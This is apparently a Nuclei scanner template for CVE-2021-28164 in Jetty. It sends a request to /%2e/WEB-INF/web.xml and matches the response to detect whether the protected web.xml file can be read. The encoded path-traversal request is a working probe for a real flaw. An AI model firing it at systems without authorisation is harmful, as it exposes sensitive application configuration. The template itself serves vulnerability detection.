id: CVE-2021-28164

info:
  name: Jetty Authorization Before Parsing and Canonicalization
  author: noamrathaus
  severity: medium
  description: |
    The default compliance mode allows requests with URIs that contain %2e or %2e%2e segments to access protected resources within the WEB-INF directory. For example a request to /context/%2e/WEB-INF/web.xml can retrieve the web.xml file. This can reveal sensitive information regarding the implementation of a web application.
  reference:
    - https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5
    - https://github.com/vulhub/vulhub/tree/1239bca12c75630bb2033b728140ed5224dcc6d8/jetty
    - https://lists.apache.org/thread.html/r780c3c210a05c5bf7b4671303f46afc3fe56758e92864e1a5f0590d0@%3Cjira.kafka.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-28164
    cwe-id: CWE-200
  tags: cve,cve2021,jetty

requests:
  - method: GET
    path:
      - "{{BaseURL}}/%2e/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "</web-app>"
          - "java.sun.com"
        part: body
        condition: and

      - type: word
        part: header
        words:
          - "application/xml"